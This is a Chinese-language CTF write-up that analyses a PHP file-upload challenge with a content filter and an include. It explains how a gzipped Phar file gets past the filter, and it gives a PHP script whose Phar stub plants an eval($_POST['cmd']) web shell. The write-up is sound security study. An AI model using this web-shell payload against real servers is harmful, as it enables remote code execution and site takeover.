PHP文件上传不含PHP代码实现RCE的方法
?CTF2025复现
题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| <?php error_reporting(0);
$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z']; $allowed_mime_types = [ 'application/zip', 'application/x-bzip2', 'application/gzip',` 'application/x-gzip', 'application/x-xz', 'application/x-7z-compressed', ];
function filter($tempfile) { $data = file_get_contents($tempfile); if ( stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false || stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false ) { return true; } return false; }
if ($_SERVER["REQUEST_METHOD"] == 'POST') { if (is_uploaded_file($_FILES['file']['tmp_name'])) { if (filter($_FILES['file']['tmp_name']) || !isset($_FILES['file']['name'])) { die("Nope :<"); }
$finfo = finfo_open(FILEINFO_MIME_TYPE); $mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']); finfo_close($finfo);
if (!in_array($mime_type, $allowed_mime_types)) { die('unexpected mimetype'); }
$ext = strtolower(pathinfo(basename($_FILES['file']['name']), PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_extensions)) { die('unexpected extension'); }
if (move_uploaded_file($_FILES['file']['tmp_name'], "/tmp/" . basename($_FILES['file']['name']))) { echo "File upload success!Please include with 'url'"; }else{ echo "fail"; } } }
if (isset($_GET['url'])) { $include_url = basename($_GET['url']);
if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) { die("unexpected extension"); }
include '/tmp/' . $include_url; exit; } ?>
|
源码分析
这里我们很明显能看到有三道防线:
filter函数:在我们读取的文件内容中不能包含__HALT_COMPILER();(防 phar 存根)、PK(防Zip头)、<?/<?php(防普通马)。
finfo_file()函数进行MIME类型检验:只允许白名单内的压缩包格式。
- 后缀名检验:只允许白名单内的后缀名。
部分概念的解读
__HALT_COMPILER():这是一个编译器指令,作用是:当php引擎读到这个指令时停止解析,后面的内容不会检查语法,也不会尝试执行。
这个指令也是 Phar 归档文件的硬性要求:一个标准的 Phar 文件的结构为:[可执行 PHP 存根代码]+__HALT_COMPILER();+[压缩的二进制数据块]
什么是可执行PHP存根代码?
PHP存根代码(Stub)是 Phar 文件格式规定的一个引导加载程序,可以理解为 Phar 这个“压缩包”的自解压和启动程序。
这是一个简单的 PHP 文件,在 Phar 文件被include包含或者直接通过命令执行时会最先运行,核心任务时初始化 Phar 环境并加载内部的业务代码。
在CTF中,这是一个理想的代码注入点,因为这是 Phar 文件被包含的第一入口,放在这里的恶意代码会被自动执行。
那为什么明明已经ban了__HALT_COMPILER()payload中依然会有呢?
我们上传的文件时一个gz之类的压缩包,而file_get_contents()读取文件时读取的整个文件的二进制流,而里面的内容是被 gzip 算法加密过的乱码数据,自然读取不到。
而在include中,如果我们上传的文件中包含.phar,且没有用像phar://之类的形式,PHP会认为是本地文件,然后 Phar 扩展识别发现该文件是合法的 phar 文件后按照 phar文件处理。在过程中会自动解压文件。
攻击手法
1 2 3 4 5 6
| <?php $phar=new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub('<?php file_put_contents("/var/www/html/shell.php","<?php eval(\$_POST[\'cmd\']); ?>"); __HALT_COMPILER(); ?>'); $phar->addFromString("test.txt","test"); $phar->stopBuffering();
|
利用这段代码生成一个 phar 文件,然后压缩成 gz 文件并上传,连接蚁剑即可。